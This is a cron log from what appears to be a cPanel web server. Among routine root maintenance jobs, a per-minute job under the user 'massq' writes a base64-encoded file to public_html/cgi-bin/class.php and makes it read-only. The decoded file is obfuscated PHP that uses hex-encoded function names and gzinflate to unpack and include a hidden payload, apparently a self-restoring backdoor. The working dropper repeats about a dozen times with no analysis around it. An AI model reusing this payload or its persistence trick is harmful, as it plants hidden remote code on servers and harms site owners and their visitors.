Sep  6 11:12:01 server CROND[12835]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:13:01 server CROND[13205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:13:01 server CROND[13204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:13:01 server CROND[13206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:14:01 server CROND[13585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:14:01 server CROND[13586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:14:01 server CROND[13587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:15:01 server CROND[14030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:15:01 server CROND[14032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:15:01 server CROND[14040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:15:01 server CROND[14052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:15:01 server CROND[14049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:15:01 server CROND[14051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:15:01 server CROND[14048]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 11:15:01 server CROND[14050]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:16:01 server CROND[14948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:16:01 server CROND[14949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:16:01 server CROND[14950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:17:01 server CROND[15311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:17:01 server CROND[15312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:17:01 server CROND[15313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:18:01 server CROND[15834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:18:01 server CROND[15835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:18:01 server CROND[15836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:19:01 server CROND[16217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:19:01 server CROND[16218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:19:01 server CROND[16219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:20:01 server CROND[16600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:20:01 server CROND[16601]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:20:01 server CROND[16604]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:20:01 server CROND[16610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:20:01 server CROND[16608]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:20:01 server CROND[16606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:20:01 server CROND[16611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:20:01 server CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:20:01 server CROND[16609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:21:01 server CROND[17429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:21:01 server CROND[17430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:21:01 server CROND[17428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:22:01 server CROND[17795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:22:01 server CROND[17796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:22:01 server CROND[17797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:23:01 server CROND[18262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:23:01 server CROND[18263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:23:01 server CROND[18264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:24:01 server CROND[18626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:24:01 server CROND[18627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:24:01 server CROND[18628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:25:01 server CROND[19018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:25:01 server CROND[19019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:25:01 server CROND[19020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
